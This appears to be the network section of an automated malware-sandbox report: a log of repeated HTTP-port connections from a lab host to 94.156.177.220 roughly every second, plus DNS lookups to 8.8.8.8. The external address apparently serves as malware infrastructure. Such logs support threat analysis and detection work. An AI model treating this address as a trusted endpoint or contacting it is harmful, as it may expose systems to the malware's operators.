Oct 24, 2024 08:47:08.358299971 CEST	49228	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:08.505034924 CEST	49229	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:08.510478020 CEST	80	49229	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:08.510565042 CEST	49229	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:08.512932062 CEST	49229	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:08.518232107 CEST	80	49229	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:08.518292904 CEST	49229	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:08.523678064 CEST	80	49229	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:09.473211050 CEST	80	49229	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:09.473325968 CEST	49229	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:09.479146957 CEST	80	49229	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:09.479238033 CEST	49229	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:09.614001989 CEST	49230	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:09.619400978 CEST	80	49230	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:09.619473934 CEST	49230	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:09.621856928 CEST	49230	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:09.627351999 CEST	80	49230	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:09.627438068 CEST	49230	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:09.634774923 CEST	80	49230	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:10.574460983 CEST	80	49230	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:10.574641943 CEST	49230	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:10.580451965 CEST	80	49230	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:10.580533981 CEST	49230	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:10.725146055 CEST	49231	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:10.730470896 CEST	80	49231	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:10.730541945 CEST	49231	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:10.732212067 CEST	49231	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:10.737670898 CEST	80	49231	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:10.737747908 CEST	49231	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:10.743081093 CEST	80	49231	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:11.695601940 CEST	80	49231	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:11.695699930 CEST	49231	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:11.701224089 CEST	80	49231	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:11.701284885 CEST	49231	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:11.843234062 CEST	49232	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:11.848517895 CEST	80	49232	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:11.848579884 CEST	49232	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:11.850244045 CEST	49232	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:11.855613947 CEST	80	49232	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:11.855700016 CEST	49232	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:11.860920906 CEST	80	49232	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:12.798983097 CEST	80	49232	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:12.799153090 CEST	49232	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:12.804788113 CEST	80	49232	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:12.804892063 CEST	49232	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:12.936824083 CEST	49233	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:12.945405960 CEST	80	49233	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:12.945494890 CEST	49233	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:12.947789907 CEST	49233	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:12.955543995 CEST	80	49233	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:12.955607891 CEST	49233	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:12.963949919 CEST	80	49233	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:14.031493902 CEST	80	49233	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:14.031657934 CEST	49233	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:14.038314104 CEST	80	49233	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:14.038409948 CEST	49233	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:14.217755079 CEST	49234	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:14.223119974 CEST	80	49234	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:14.223208904 CEST	49234	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:14.225496054 CEST	49234	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:14.230752945 CEST	80	49234	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:14.230832100 CEST	49234	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:14.236144066 CEST	80	49234	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:15.182291985 CEST	80	49234	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:15.182607889 CEST	49234	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:15.188153028 CEST	80	49234	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:15.188260078 CEST	49234	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:15.318898916 CEST	49235	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:15.324484110 CEST	80	49235	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:15.324583054 CEST	49235	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:15.326914072 CEST	49235	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:15.332324982 CEST	80	49235	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:15.332422018 CEST	49235	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:15.337790012 CEST	80	49235	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:16.271697044 CEST	80	49235	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:16.271863937 CEST	49235	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:16.278079033 CEST	80	49235	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:16.278157949 CEST	49235	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:16.415002108 CEST	49236	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:16.420422077 CEST	80	49236	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:16.420509100 CEST	49236	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:16.422887087 CEST	49236	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:16.428210020 CEST	80	49236	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:16.428303003 CEST	49236	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:16.433599949 CEST	80	49236	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:17.383274078 CEST	80	49236	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:17.383378029 CEST	49236	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:17.389329910 CEST	80	49236	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:17.389410019 CEST	49236	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:17.524808884 CEST	49237	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:17.530385971 CEST	80	49237	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:17.530477047 CEST	49237	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:17.532151937 CEST	49237	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:17.546902895 CEST	80	49237	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:17.547051907 CEST	49237	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:17.554089069 CEST	80	49237	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:18.474733114 CEST	80	49237	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:18.474818945 CEST	49237	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:18.480750084 CEST	80	49237	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:18.480840921 CEST	49237	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:18.615293026 CEST	49238	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:18.620817900 CEST	80	49238	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:18.620886087 CEST	49238	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:18.622531891 CEST	49238	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:18.627795935 CEST	80	49238	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:18.627836943 CEST	49238	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:18.633362055 CEST	80	49238	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:19.574054003 CEST	80	49238	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:19.574207067 CEST	49238	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:19.581057072 CEST	80	49238	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:19.581142902 CEST	49238	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:19.742316961 CEST	49239	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:19.747662067 CEST	80	49239	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:19.747720957 CEST	49239	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:19.749378920 CEST	49239	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:19.754668951 CEST	80	49239	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:19.754722118 CEST	49239	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:19.760056019 CEST	80	49239	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:20.702048063 CEST	80	49239	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:20.702265978 CEST	49239	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:20.708039045 CEST	80	49239	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:20.708112001 CEST	49239	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:20.838956118 CEST	49240	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:20.844633102 CEST	80	49240	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:20.844712973 CEST	49240	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:20.846249104 CEST	49240	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:20.851629019 CEST	80	49240	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:20.851687908 CEST	49240	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:20.857084036 CEST	80	49240	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:21.798337936 CEST	80	49240	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:21.798439026 CEST	49240	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:21.804174900 CEST	80	49240	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:21.804259062 CEST	49240	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:22.002470970 CEST	49241	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:22.007951021 CEST	80	49241	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:22.008358955 CEST	49241	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:22.009874105 CEST	49241	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:22.015235901 CEST	80	49241	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:22.015331984 CEST	49241	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:22.020679951 CEST	80	49241	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:22.963869095 CEST	80	49241	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:22.966217995 CEST	49241	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:22.972650051 CEST	80	49241	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:22.972721100 CEST	49241	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:23.103919029 CEST	49242	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:23.110352039 CEST	80	49242	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:23.110433102 CEST	49242	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:23.112205982 CEST	49242	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:23.118962049 CEST	80	49242	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:23.119040012 CEST	49242	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:23.126368046 CEST	80	49242	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:24.081892967 CEST	80	49242	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:24.081988096 CEST	49242	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:24.087812901 CEST	80	49242	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:24.087929964 CEST	49242	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:24.234637976 CEST	49243	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:24.239995956 CEST	80	49243	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:24.240144014 CEST	49243	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:24.241831064 CEST	49243	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:24.247170925 CEST	80	49243	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:24.247330904 CEST	49243	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:24.252757072 CEST	80	49243	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:25.191000938 CEST	80	49243	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:25.191205978 CEST	49243	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:25.198523998 CEST	80	49243	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:25.198584080 CEST	49243	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:25.334981918 CEST	49244	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:25.340518951 CEST	80	49244	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:25.340581894 CEST	49244	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:25.342227936 CEST	49244	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:25.347721100 CEST	80	49244	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:25.347820044 CEST	49244	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:25.353399038 CEST	80	49244	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:26.304109097 CEST	80	49244	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:26.304249048 CEST	49244	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:26.310070038 CEST	80	49244	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:26.310218096 CEST	49244	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:26.442441940 CEST	49245	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:26.447758913 CEST	80	49245	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:26.447829008 CEST	49245	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:26.449470043 CEST	49245	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:26.454826117 CEST	80	49245	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:26.454873085 CEST	49245	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:26.460225105 CEST	80	49245	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:27.421446085 CEST	80	49245	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:27.421647072 CEST	49245	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:27.427376986 CEST	80	49245	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:27.427433014 CEST	49245	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:27.627173901 CEST	49246	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:27.632602930 CEST	80	49246	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:27.632669926 CEST	49246	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:27.634330988 CEST	49246	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:27.639668941 CEST	80	49246	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:27.639729023 CEST	49246	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:27.645028114 CEST	80	49246	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:28.598006010 CEST	80	49246	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:28.598213911 CEST	49246	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:28.606338978 CEST	80	49246	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:28.606447935 CEST	49246	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:28.728965044 CEST	49247	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:28.735745907 CEST	80	49247	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:28.735805035 CEST	49247	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:28.737452030 CEST	49247	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:28.744370937 CEST	80	49247	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:28.744434118 CEST	49247	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:28.751300097 CEST	80	49247	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:29.691955090 CEST	80	49247	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:29.692194939 CEST	49247	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:29.699203014 CEST	80	49247	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:29.699271917 CEST	49247	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:29.984224081 CEST	49248	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:29.989789009 CEST	80	49248	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:29.989871025 CEST	49248	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:29.991545916 CEST	49248	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:29.996871948 CEST	80	49248	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:29.996928930 CEST	49248	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:30.002223015 CEST	80	49248	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:30.943694115 CEST	80	49248	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:30.943850994 CEST	49248	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:30.950973034 CEST	80	49248	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:30.951041937 CEST	49248	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:31.140501976 CEST	49249	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:31.145920038 CEST	80	49249	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:31.145987034 CEST	49249	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:31.147773981 CEST	49249	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:31.153070927 CEST	80	49249	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:31.153127909 CEST	49249	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:31.158495903 CEST	80	49249	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:32.217112064 CEST	80	49249	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:32.217247963 CEST	49249	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:32.223423958 CEST	80	49249	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:32.223484039 CEST	49249	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:32.352447033 CEST	49250	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:32.357935905 CEST	80	49250	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:32.358006001 CEST	49250	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:32.359581947 CEST	49250	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:32.364857912 CEST	80	49250	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:32.364980936 CEST	49250	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:32.370265007 CEST	80	49250	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:33.316694975 CEST	80	49250	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:33.316782951 CEST	49250	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:33.322650909 CEST	80	49250	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:33.322704077 CEST	49250	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:33.512443066 CEST	49251	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:33.517935991 CEST	80	49251	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:33.517990112 CEST	49251	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:33.519674063 CEST	49251	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:33.527735949 CEST	80	49251	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:33.527793884 CEST	49251	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:33.533512115 CEST	80	49251	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:34.466624022 CEST	80	49251	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:34.466932058 CEST	49251	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:34.472517967 CEST	80	49251	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:34.472632885 CEST	49251	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:34.599725962 CEST	49252	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:34.605077028 CEST	80	49252	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:34.605139971 CEST	49252	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:34.607471943 CEST	49252	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:34.612827063 CEST	80	49252	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:34.612891912 CEST	49252	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:34.618197918 CEST	80	49252	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:36.171612978 CEST	80	49252	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:36.171720982 CEST	49252	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:36.171799898 CEST	80	49252	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:36.171829939 CEST	80	49252	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:36.171860933 CEST	49252	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:36.171874046 CEST	49252	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:36.172389030 CEST	80	49252	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:36.172446966 CEST	49252	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:36.184211969 CEST	80	49252	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:36.373609066 CEST	49253	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:36.379117012 CEST	80	49253	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:36.379210949 CEST	49253	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:36.380880117 CEST	49253	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:36.386235952 CEST	80	49253	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:36.386308908 CEST	49253	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:36.391743898 CEST	80	49253	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:37.350135088 CEST	80	49253	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:37.350269079 CEST	49253	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:37.356118917 CEST	80	49253	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:37.356229067 CEST	49253	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:37.486057043 CEST	49254	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:37.491564989 CEST	80	49254	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:37.491633892 CEST	49254	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:37.493232012 CEST	49254	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:37.498639107 CEST	80	49254	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:37.498723984 CEST	49254	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:37.506623030 CEST	80	49254	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:38.480947018 CEST	80	49254	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:38.481255054 CEST	49254	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:38.486943960 CEST	80	49254	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:38.487037897 CEST	49254	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:38.632397890 CEST	49255	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:38.637820959 CEST	80	49255	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:38.637906075 CEST	49255	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:38.639719963 CEST	49255	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:38.645015955 CEST	80	49255	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:38.645071983 CEST	49255	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:38.650415897 CEST	80	49255	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:39.590569973 CEST	80	49255	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:39.590691090 CEST	49255	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:39.597242117 CEST	80	49255	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:39.597300053 CEST	49255	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:39.726964951 CEST	49256	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:39.732492924 CEST	80	49256	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:39.732548952 CEST	49256	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:39.734195948 CEST	49256	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:39.740036011 CEST	80	49256	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:39.740084887 CEST	49256	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:39.745428085 CEST	80	49256	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:40.694453001 CEST	80	49256	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:40.694535017 CEST	49256	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:40.700210094 CEST	80	49256	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:40.700272083 CEST	49256	80	192.168.2.22	94.156.177.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 08:45:22.435332060 CEST	54562	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:45:22.443413973 CEST	53	54562	8.8.8.8	192.168.2.22
Oct 24, 2024 08:45:25.198833942 CEST	52917	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:45:25.220220089 CEST	53	52917	8.8.8.8	192.168.2.22
Oct 24, 2024 08:45:39.850053072 CEST	62751	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:45:39.879537106 CEST	53	62751	8.8.8.8	192.168.2.22
Oct 24, 2024 08:45:41.528641939 CEST	57893	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:45:41.544504881 CEST	53	57893	8.8.8.8	192.168.2.22
Oct 24, 2024 08:45:44.406956911 CEST	54821	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:45:44.414830923 CEST	53	54821	8.8.8.8	192.168.2.22
Oct 24, 2024 08:45:44.417562962 CEST	54821	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:45:44.425565958 CEST	53	54821	8.8.8.8	192.168.2.22
Oct 24, 2024 08:45:59.794780970 CEST	54719	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:45:59.803519964 CEST	53	54719	8.8.8.8	192.168.2.22
Oct 24, 2024 08:46:01.556329012 CEST	49881	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:46:01.572320938 CEST	53	49881	8.8.8.8	192.168.2.22
Oct 24, 2024 08:46:01.576849937 CEST	49881	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:46:01.585191965 CEST	53	49881	8.8.8.8	192.168.2.22

DNS Queries

